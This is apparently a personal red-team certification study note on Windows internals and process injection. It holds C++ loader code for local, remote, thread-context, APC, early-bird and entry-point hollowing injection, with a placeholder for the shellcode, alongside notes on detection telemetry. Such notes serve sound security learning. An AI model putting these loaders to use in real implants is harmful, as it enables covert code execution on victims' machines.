Skills · learning

Malware Essentials for Windows Payloads

Table of Contents

Malware Essentials for Windows Payloads

The practical mental model

Many Windows implants and agents are delivered as executable files, DLLs, shellcode, or scripts. There is no single format used by every command-and- control framework.

A loader is a program or component that prepares another payload for execution. Depending on the design, it may load a DLL through normal Windows loading mechanisms, map a PE image itself, or copy position-independent machine code into memory. A loader plus a DLL is not automatically shellcode.

Shellcode usually means position-independent machine code intended to be placed in a process and executed, often without the normal file-loading path. The exact meaning varies by context, so the format and execution method should be stated precisely.

Writing a payload to disk can create useful forensic evidence and may be detected by security products. Loading from memory can reduce some disk artifacts, but it does not make the activity invisible. Memory, process, thread, image-load, and network telemetry may still reveal it.

Portable Executable format

PE is the Windows executable image format used by files such as .exe and .dll. The format describes how Windows should interpret and load an image; it does not mean that every PE is loaded identically or that execution happens without file-backed activity.

Other platforms use different executable formats, including ELF on Linux and Mach-O on macOS. Text, image, PDF, and JSON files are not executable image formats merely because an application can open them.

A useful simplified PE structure is:

DOS header and stub
PE signature and COFF file header
Optional header
Data directories
Section table and sections
  .text   code
  .data   writable data
  .rdata  read-only data and constants
  .rsrc   resources
  .reloc  base relocation information, when present

Microsoft’s PE specification describes the headers, sections, imports, exports, relocations, resources, and other data directories. The operating system uses those structures when it maps an image and resolves what it needs.

The DOS header begins with the MZ signature. Its e_lfanew field is located at file offset 0x3c and points to the PE signature. The PE signature is PE\0\0. These are useful recognition points, but the full specification is not something I need to memorize for the current CRTO goal.

The distinction between an EXE and a DLL is represented in the PE metadata and in how the image is used. A DLL is an executable image intended to be loaded as a library rather than launched as a normal application. Windows supports both load-time and run-time dynamic linking, including APIs such as LoadLibrary.

Portable Executable layout showing the relationship between headers, alignment, and sections.
Fig. 1. Portable Executable layout showing the relationship between headers, alignment, and sections.
Hex-editor view identifying the DOS-header magic value and the pointer to the PE header.
Fig. 2. Hex-editor view identifying the DOS-header magic value and the pointer to the PE header.

Programs, processes, and threads

A program is a set of instructions and data. A process is a running instance with its own virtual address space, handles, security context, and other resources. Multiple processes can run the same program while maintaining separate process state.

A thread is an execution path within a process. It has CPU state, including an instruction pointer and stack-related state, and it executes instructions on behalf of the process. A process may contain multiple threads that share the process address space.

Diagram tracing a PE file from disk headers through section mapping and import resolution.
Fig. 3. Diagram tracing a PE file from disk headers through section mapping and import resolution.
Process-creation diagram showing the creating process, Windows APIs, and resulting process context.
Fig. 4. Process-creation diagram showing the creating process, Windows APIs, and resulting process context.
Diagram distinguishing an executable program, its running process, and the threads executing within it.
Fig. 5. Diagram distinguishing an executable program, its running process, and the threads executing within it.
Notepad process-memory model separating program code, data, and thread execution state.
Fig. 6. Notepad process-memory model separating program code, data, and thread execution state.

Windows exposes several process-creation APIs. CreateProcessW creates a process with the caller’s security context in the normal case. Other APIs can create a process under a different token or logon context when the caller has the required permissions. User-mode APIs eventually cross into the Windows kernel, but the internal path is an implementation detail rather than a rule to rely on for every Windows version.

Virtual memory

Each process has its own virtual address space. The memory manager maps virtual pages to physical memory as needed, so physical pages do not need to be contiguous. Process memory can contain executable code, writable data, mapped files, stacks, heaps, and other runtime state.

This matters for process injection because the technique usually combines two separate questions:

  1. How does code or data enter the target process’s address space?
  2. How does a thread begin executing that code or data?

At a high level, injection may involve allocating or mapping memory, writing or mapping content, changing memory permissions, and creating or redirecting an execution path. The exact APIs and telemetry depend on the technique.

Windows-loader diagram showing a PE import being resolved to a function in USER32.dll.
Fig. 7. Windows-loader diagram showing a PE import being resolved to a function in USER32.dll.

Access tokens and privileges

A process normally has a primary access token describing its security context. The token can include the user SID, group memberships, and enabled privileges. Threads can impersonate another token, which changes the security context used for operations performed by that thread.

Windows privileges are distinct from ordinary object permissions. Examples of high-impact privileges include:

  • SeDebugPrivilege, which can enable access to other processes subject to policy and protected-process restrictions
  • SeTakeOwnershipPrivilege, which allows taking ownership of securable objects when the privilege is enabled and the operation is otherwise permitted
  • SeRestorePrivilege, which can bypass some file and registry access checks for restoration operations
  • SeLoadDriverPrivilege, which permits loading drivers when other requirements are satisfied
  • SeCreateTokenPrivilege, which is highly sensitive because it can be used in token-creation scenarios

Having a privilege present does not mean every operation will succeed. Its state, the requested access, integrity boundaries, protected-process rules, security policy, and other controls still matter.

Windows access-token diagram showing process and thread tokens, SIDs, privileges, and ACL relationships.
Fig. 8. Windows access-token diagram showing process and thread tokens, SIDs, privileges, and ACL relationships.

Process injection

Keep these two questions separate: (1) how did code/data enter a process address space, and (2) how does a thread reach that code/data? A memory write alone does not execute anything. Injection families combine placement and execution in different ways.

Technique Placement Execution path Main constraint
Classic, current process Allocate and write in the caller's address space Start a new thread at that region No PID: the current-process pseudo-handle already identifies the caller.
Classic remote Allocate and write in another process Create a remote thread A PID identifies a process; OpenProcess still must grant a handle with sufficient rights.
Thread context redirection Put code in memory Change a suspended thread's saved instruction pointer, then resume Controlling a live application thread can disrupt it or crash its process.
APC Put callback code in memory and queue its address to one thread The thread processes its queue at an alertable wait Queue success does not prove the callback ran.
Early bird Queue an APC to a newly created process's primary thread while suspended Resume the process Depends on APC delivery during startup; “guaranteed” is a course simplification.
Process hollowing Replace or overwrite process image contents (implementation varies) Resume the adjusted primary thread PEB/native API details are architecture and version dependent.
DLL injection Cause a process to load a DLL PE image Windows loader maps and initializes the image A DLL is a PE image, not raw shellcode.

Injection does not grant privilege by itself. Code normally runs using the target process's effective security context, unless the thread is impersonating another token. That context does not make the process accessible: process rights, DACLs, integrity boundaries, protected-process rules, architecture, and mitigations still matter. Do not choose a process merely because it appears to run as a more privileged user. For the CRTO exam, the live ROE and OPSEC rules decide whether an injection action is appropriate.

A trusted process name is not invisibility. Security tools can inspect cross-process handles, remote memory allocation/writes, executable private pages, thread starts, context changes, DLL loads, and network behavior. The exam explicitly calls out default Cobalt Strike pipe/injection indicators. The high-level steps required for process injection to be successful are to:

  • Allocate a new region of memory in the process.

  • Copy the shellcode into that region.

  • Execute the shellcode (typically with a thread).

Process injection is a family of techniques that places code or data in another process or redirects an existing execution path. It can support execution in a different security context or attempt to blend activity into a trusted process, but it is not automatically privilege escalation and it does not guarantee defense evasion.

Common conceptual families include:

  • Classic remote injection: obtain an appropriate process handle, allocate memory, write content, and create a thread or another execution path.
  • Thread hijacking: suspend or otherwise control an existing thread, change its context, and resume it at a different execution location.
  • Asynchronous procedure calls: queue work to a thread and rely on that thread entering an alertable state.
  • Process hollowing: create a process in a suspended state, replace or unmap its original image, map another image, adjust the process state, and resume it. The exact implementation varies.
  • DLL injection: cause a target process to load a DLL through an appropriate loading path.

These techniques can generate valuable defensive signals, including unusual cross-process handles, remote memory allocation or writes, executable private memory, thread creation, thread-context changes, image loads, and mismatches between a process and the code executing inside it.

Classic injection

Why this example has no PID: it targets the process already running this program. GetCurrentProcess() is a pseudo-handle for that same process, and VirtualAlloc allocates in its address space. The example then writes the bytes there and creates a thread whose start address is that memory. “Classic” names the pattern; “remote” means the target is a different process.

Perhaps the most vanilla form of process injection uses the VirtualAlloc, WriteProcessMemory, and CreateThread APIs.  This will inject and execute the shellcode in the running process.

#include <Windows.h>

int main()

{

    unsigned char shellcode[] = "..."; // your shellcode goes here

    // allocate a region of memory

    auto hMemory = VirtualAlloc(

        NULL,                       // we don't mind where it's allocated

        sizeof(shellcode),          // the size of memory region

        MEM_COMMIT | MEM_RESERVE,   // type of memory allocation

        PAGE_EXECUTE_READWRITE      // memory protection

    );

    // write the shellcode into memory

    SIZE_T bytesWritten = 0;

    WriteProcessMemory(

        GetCurrentProcess(),    // handle to target process

        hMemory,                // pointer to target memory region

        shellcode,             // pointer to data to write

        sizeof(shellcode),      // length of data to write

        &bytesWritten           // receives the number of bytes written

    );

    // create a new thread

    DWORD threadId = 0;

    auto hThread = CreateThread(

        NULL,

        0,

        (LPTHREAD_START_ROUTINE)hMemory,  // a pointer to the thing to execute

        NULL,

        0,

        &threadId                         // receives the new thread ID

    );

    // wait for the thread to finish

    WaitForSingleObject(

        hThread,    // the handle to wait on

        INFINITE    // the length of time to wait

    );

    // close the thread handle

    CloseHandle(hThread);

}

Classic remote injection

Classic remote-injection sequence showing process access, remote allocation, memory writing, and execution.
Fig. 9. Classic remote-injection sequence showing process access, remote allocation, memory writing, and execution.

The extra remote step is process selection and access: supply a PID, call OpenProcess, then use APIs that operate in the target address space (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread). The PID is only an identifier, not a permission or bypass. The example's PROCESS_ALL_ACCESS request is broad and is shown only because it is in the course illustration.

The same style of injection can be used on other processes as well.  An additional step is required where we must obtain a handle to the target process by its process ID (PID).

#include <Windows.h>

int main(int argc, char* argv[])

{

    unsigned char shellcode[] = "...";

    // convert the provided argument to an integer

    auto pid = atoi(argv[1]);

    // get handle to process

    auto hProcess = OpenProcess(

        PROCESS_ALL_ACCESS, // desired access level

        FALSE,

        pid                 // target process ID

    );

    // sanity check the handle is valid

    if (hProcess == NULL) {

        return 0;

    }

    // allocate a region of memory

    auto hMemory = VirtualAllocEx(

        hProcess,   // handle to target process

        NULL,

        sizeof(shellcode),

        MEM_COMMIT | MEM_RESERVE,

        PAGE_EXECUTE_READWRITE

    );

    // write the shellcode into memory

    SIZE_T bytesWritten = 0;

    WriteProcessMemory(

        hProcess,

        hMemory,

        shellcode,

        sizeof(shellcode),

        &bytesWritten

    );

    // create a new thread

    DWORD threadId = 0;

    auto hThread = CreateRemoteThread(

        hProcess,   // handle to target process

        NULL,

        0,

        (LPTHREAD_START_ROUTINE)hMemory,

        NULL,

        0,

        &threadId

    );

    // wait for the thread to finish

    WaitForSingleObject(

        hThread,

        INFINITE

    );

    // close the thread handle

    CloseHandle(hThread);

}

Thread hijacking

Thread-hijacking diagram showing an existing thread redirected toward injected code.
Fig. 10. Thread-hijacking diagram showing an existing thread redirected toward injected code.
Before-and-after comparison of the instruction pointer during thread hijacking.
Fig. 11. Before-and-after comparison of the instruction pointer during thread hijacking.

The name describes taking over a thread's execution path. There are two related cases: redirect an existing thread after suspending it, or create a new thread in a suspended state and change its context before it has ever run. The sample below is the second case, so “suspended-thread context redirection” is the more exact description. CREATE_SUSPENDED means that thread is not scheduled until ResumeThread. The Sleep(5 * 1000) pauses the creator thread, not the suspended thread, and does not prove that antivirus scanned anything.

The course example below creates a thread in a suspended state and changes its saved instruction pointer before resuming it. This demonstrates thread-context redirection; it does not establish that an antivirus scan has finished or that changing the start location avoids detection. Thread creation, memory writes, and context changes can all be monitored.

#include <Windows.h>

void dummy() {

    // do nothing

}

int main()

{

    unsigned char shellcode[] = "...";

    // allocate a region of memory

    auto hMemory = VirtualAlloc(

        NULL,

        sizeof(shellcode),

        MEM_COMMIT | MEM_RESERVE,

        PAGE_EXECUTE_READWRITE

    );

    // write the shellcode into memory

    SIZE_T bytesWritten = 0;

    WriteProcessMemory(

        GetCurrentProcess(),

        hMemory,

        shellcode,

        sizeof(shellcode),

        &bytesWritten

    );

    // create a suspended thread pointing at a dummy function

    DWORD threadId = 0;

    auto hThread = CreateThread(

        NULL,

        0,

        (LPTHREAD_START_ROUTINE)&dummy,

        NULL,

        CREATE_SUSPENDED,

        &threadId

    );

    // little sleep

    Sleep(5 * 1000);

    // get the suspended target thread's context

    CONTEXT ctx = { 0 };

    ctx.ContextFlags = CONTEXT_ALL;

    GetThreadContext(hThread, &ctx);

    // point thread context at shellcode

    ctx.Rip = (DWORD64)hMemory;

    SetThreadContext(hThread, &ctx);

    // resume the thread

    ResumeThread(hThread);

    // wait on thread

    WaitForSingleObject(hThread, INFINITE);

    // close handle

    CloseHandle(hThread);

}

A similar variant of thread hijacking can be performed where you enumerate all of the running threads in a process, suspend one of them, change its context and then resume it.  This isn't generally recommended though, because you'll break whatever functionality that thread was performing and potentially crash the process.

Asynchronous Procedure Calls

APC-queue diagram showing a queued callback and the conditions under which the thread executes it.
Fig. 12. APC-queue diagram showing a queued callback and the conditions under which the thread executes it.

An APC is queued work associated with one particular thread - like a callback waiting in that thread's mailbox. A normal user APC is delivered when that thread enters an alertable wait. Examples include SleepEx, WaitForSingleObjectEx, and WaitForMultipleObjectsEx when called with the alertable flag enabled. Plain Sleep and plain WaitForSingleObject are not alertable waits. If the thread never enters an alertable state, the APC may remain pending. Queued successfully does not mean executed.

“Thread walk” means taking a Tool Help snapshot and iterating entries with Thread32First/Thread32Next, keeping entries whose owner PID matches the process. It is not walking a call stack. The thread ID is then used to open a thread handle, which the APC API needs.

The course example below queues a callback to one thread instead of creating a new thread. The callback can run only when Windows delivers it under the APC rules described above; plain Sleep and plain WaitForSingleObject are not alertable waits. The example first walks the system thread list to find a thread ID, then opens that thread so it can queue work to it. A matching PID alone does not guarantee a suitable thread or delivery.

#include <Windows.h>

#include <tlhelp32.h>

int main(int argc, char* argv[])

{

    unsigned char shellcode[] = "...";

    // convert the provided argument to an integer

    auto pid = atoi(argv[1]);

    DWORD threadId = 0;

    // create thread snapshot

    auto hSnapshot = CreateToolhelp32Snapshot(

        TH32CS_SNAPTHREAD,

        0

    );

    THREADENTRY32 te = { 0 };

    te.dwSize = sizeof(te);

    // walk the threads

    Thread32First(hSnapshot, &te);

    do {

        if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) {

            if (te.th32OwnerProcessID == pid) {

                // use the first thread we find

                threadId = te.th32ThreadID;

                break;

            }

        }

        te.dwSize = sizeof(te);

    } while (Thread32Next(hSnapshot, &te));

    if (threadId == 0) {

        // we failed to find a thread

        return 0;

    }

    // get a handle to the process

    auto hProcess = OpenProcess(

        PROCESS_ALL_ACCESS,

        FALSE,

        pid

    );

    // allocate a region of memory

    auto hMemory = VirtualAllocEx(

        hProcess,

        NULL,

        sizeof(shellcode),

        MEM_COMMIT | MEM_RESERVE,

        PAGE_EXECUTE_READWRITE

    );

    // write the shellcode into memory

    SIZE_T bytesWritten = 0;

    WriteProcessMemory(

        hProcess,

        hMemory,

        shellcode,

        sizeof(shellcode),

        &bytesWritten

    );

    // open handle to target thread

    auto hThread = OpenThread(

        THREAD_ALL_ACCESS,

        FALSE,

        threadId

    );

    // queue the apc

    QueueUserAPC(

        (PAPCFUNC)hMemory,  // target function

        hThread,            // target thread

        0

    );

}

Early bird

Early-bird example placing execution changes during the initialization of a newly created process.
Fig. 13. Early-bird example placing execution changes during the initialization of a newly created process.

Ordinary APCs target a thread that is already running, with no guarantee it will soon enter an alertable wait. The early-bird concept creates a process suspended, queues the APC using its primary-thread handle, and resumes it. The course describes this as “guaranteed to trigger”; treat that as a simplified description of the technique, not a universal guarantee of the documented APC API. The normal APC rule still depends on delivery during thread startup.

The course describes this as “guaranteed to trigger.” Read that as a simplified teaching shorthand: the example creates a process suspended, queues work on its primary thread, then resumes it. APC delivery still follows Windows startup/APC semantics; do not treat the phrase as a guarantee that the callback ran or that defenses will not detect it.

#include <Windows.h>

int main()

{

    unsigned char shellcode[] = "...";

    STARTUPINFOW si = { 0 };

    si.cb = sizeof(si);

    si.dwFlags = STARTF_USESHOWWINDOW;

    PROCESS_INFORMATION pi = { 0 };

    // spawn process in suspended state

    CreateProcess(

        L"C:\\Windows\\System32\\cmd.exe",

        NULL,

        NULL,

        NULL,

        FALSE,

        CREATE_SUSPENDED,

        NULL,

        L"C:\\Windows\\System32",

        &si,

        &pi

    );

    // allocate a region of memory

    auto hMemory = VirtualAllocEx(

        pi.hProcess,    // handle to newly spawned process

        NULL,

        sizeof(shellcode),

        MEM_COMMIT | MEM_RESERVE,

        PAGE_EXECUTE_READWRITE

    );

    // write the shellcode into memory

    SIZE_T bytesWritten = 0;

    WriteProcessMemory(

        pi.hProcess,

        hMemory,

        shellcode,

        sizeof(shellcode),

        &bytesWritten

    );

    // queue the apc

    QueueUserAPC(

        (PAPCFUNC)hMemory,

        pi.hThread,

        0

    );

    // resume the process

    ResumeThread(pi.hThread);

    // tidy up our handles

    CloseHandle(pi.hThread);

    CloseHandle(pi.hProcess);

}

Process hollowing

Process-hollowing sequence starting from a suspended process and replacing its original executable image.
Fig. 14. Process-hollowing sequence starting from a suspended process and replacing its original executable image.

A suspended process has not begun normal user-mode execution. A hollowing variant changes the image or entry-point contents and process state before resuming its primary thread. “Unmap the old PE and map a new PE” describes one form; overwriting an entry point without replacing the whole image is a related simpler variant.

The example's PEB + 0x10 and eight-byte read are specifically x64 assumptions. PEB layout and NtQueryInformationProcess are internal/version-dependent details, not stable interfaces to memorize.

This is a technique where a process is started in a suspended state, the original PE is unmapped from memory, and a new PE mapped in its place.  A half-way house to process hollowing is where we simply overwrite the PE's entry point with shellcode, without unmapping anything first.  When the process is resumed, the process's primary thread will be pointing at our shellcode instead of the PE's executable code section.

Finding the PE's entry point requires us to read its structure from memory while it's suspended.  There's a native API called NtQueryInformationProcess which is able to populate a structure called PROCESS_BASIC_INFORMATION.  One of its members is PebBaseAddress which is a pointer to a PEB structure.  It's not documented, but one of its members is ImageBaseAddress.

From there, we can read PE's DOS header to get the value for e_lfanew, and then use that to locate the NT header.  Drilling down into OptionalHeader->AddressOfEntryPoint gives us the relative virtual address (RVA) of the PE's entry point.

#include <Windows.h>

#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

int main()

{

    unsigned char shellcode[] = "...";

    STARTUPINFOW si = { 0 };

    si.cb = sizeof(si);

    si.dwFlags = STARTF_USESHOWWINDOW;

    PROCESS_INFORMATION pi = { 0 };

    // spawn process in suspended state

    CreateProcess(

        L"C:\\Windows\\System32\\cmd.exe",

        NULL,

        NULL,

        NULL,

        FALSE,

        CREATE_SUSPENDED,

        NULL,

        L"C:\\Windows\\System32",

        &si,

        &pi

    );

    // get the process information to find the address of the PEB

    PROCESS_BASIC_INFORMATION pbi = { 0 };

    ULONG returnLength;

    NtQueryInformationProcess(

        pi.hProcess,

        ProcessBasicInformation,

        &pbi,

        sizeof(pbi),

        &returnLength

    );

    // the image base address is always at PEB + 0x10 for x64

    auto lpBaseAddress = (LPVOID)((DWORD64)(pbi.PebBaseAddress) + 0x10);

    // read the base address (addresses are 8 bytes for x64)

    LPVOID baseAddress = 0;

    SIZE_T bytesRead = 0;

    ReadProcessMemory(

        pi.hProcess,

        lpBaseAddress,

        &baseAddress,

        8,

        &bytesRead

    );

    // now we can read the dos header

    IMAGE_DOS_HEADER dHeader = { 0 };

    ReadProcessMemory(

        pi.hProcess,

        baseAddress,

        &dHeader,

        sizeof(dHeader),

        &bytesRead

    );

    // use e_lfanew to calculate pointer to nt header

    auto lpNtHeader = (LPVOID)((DWORD64)baseAddress + dHeader.e_lfanew);

    // read the nt header

    IMAGE_NT_HEADERS ntHeaders = { 0 };

    ReadProcessMemory(

        pi.hProcess,

        lpNtHeader,

        &ntHeaders,

        sizeof(ntHeaders),

        &bytesRead

    );

    // calculate the entry point address

    auto entryPoint = (LPVOID)((DWORD64)baseAddress + ntHeaders.OptionalHeader.AddressOfEntryPoint);

    // write shellcode to this location, overwriting the PE

    SIZE_T bytesWritten = 0;

    WriteProcessMemory(

        pi.hProcess,

        entryPoint,

        shellcode,

        sizeof(shellcode),

        &bytesWritten

    );

    // resume the process

    ResumeThread(pi.hThread);

}

DLL injection

DLL injection causes a target process to load a DLL through a loading path. Windows treats a DLL as a PE image: its loader maps sections and handles initialization such as imports/relocations. This is different from copying raw shellcode bytes into a private memory region. In the course example, a Beacon DLL exports StartW for the rundll32 loading path; whether policy permits the load is a separate matter. A blocked execution event in the exam is a pause-and-reassess signal.

DLL-loading diagram showing the Windows loader mapping sections, resolving imports, and starting the DLL.
Fig. 15. DLL-loading diagram showing the Windows loader mapping sections, resolving imports, and starting the DLL.
Comparison of raw-code injection and DLL injection through the Windows PE loader.
Fig. 16. Comparison of raw-code injection and DLL injection through the Windows PE loader.

Platform Invoke

P/Invoke is the .NET mechanism for calling functions in unmanaged libraries from managed C# code. It can expose native Windows APIs exported by DLLs such as kernel32.dll, advapi32.dll, and user32.dll.

P/Invoke is a language interop mechanism, not a separate injection technique. The security meaning comes from the API and how it is used.

P/Invoke diagram connecting managed C# code to native functions exported by Windows DLLs.
Fig. 17. P/Invoke diagram connecting managed C# code to native functions exported by Windows DLLs.
C# DllImport declaration illustrating a P/Invoke call to VirtualAlloc in kernel32.dll.
Fig. 18. C# DllImport declaration illustrating a P/Invoke call to VirtualAlloc in kernel32.dll.

What I need to remember for CRTO

I do not need to memorize every PE field or reproduce injection code yet. The useful mental model is:

PE metadata tells Windows how an image is structured.
Processes own virtual address spaces.
Threads execute instructions inside those processes.
Tokens describe security context.
Injection changes where code or data lives, or where execution goes.

That model makes later techniques easier to understand without confusing a file format, a loader, shellcode, a process, and a thread.

Review prompts

  • What is the difference between a PE image, a DLL, a loader, and shellcode?
  • Why does loading from memory not eliminate detection opportunities?
  • Which parts of process injection concern memory, and which concern execution?
  • How do a process token and an impersonating thread differ?
  • Which telemetry could reveal remote memory writes or a new execution path?

C++ notation quick guide

Code Meaning in these examples
&value C++ address-of operator: produce a pointer to a variable or function. This is not a C# prefix.
&threadId Pass the address of the ID variable so CreateThread can write the new thread ID into it.
&dummy The address/function pointer of dummy; it does not call the function.
shellcode / &shellcode In an array expression, shellcode converts to a pointer to the first byte. &shellcode is a pointer to the whole array; same starting address but a different C++ type. The examples now use shellcode for clarity.
DWORD threadId = 0; Declare a 32-bit Windows unsigned integer and initialize it. The API fills it on success.
auto hThread = ... Let C++ infer the variable type from the returned value (a thread handle here).
L"..." L makes a wide-character string literal for Unicode Windows APIs.
RIP x64 instruction-pointer field in the saved thread context: the address where execution resumes. Other CPU architectures use different context fields.

Example status: the snippets are course illustrations with placeholder bytes, incomplete return-value checks, and incomplete handle cleanup. They are not validated, paste-ready programs. The remote OpenProcess check is corrected to NULL because that API returns NULL on failure.

Fact-check notes

Verified against Microsoft documentation on 2026-11-07: OpenProcess returns NULL on failure; a thread created with CREATE_SUSPENDED does not run until resumed; Tool Help thread walking uses a snapshot and Thread32First/Thread32Next; normal user APC delivery requires an alertable wait; and the PEB/native NtQueryInformationProcess structures are internal and may change. The course's early-bird “guarantee” is qualified above.

This is a living study note. Sources and understanding may change as it is reviewed.

Ryan Sacatani

Simply curious about the world, constantly building and breaking things for fun.

sacataniryan1@gmail.com ↗

BrowseBrowse topics

Browse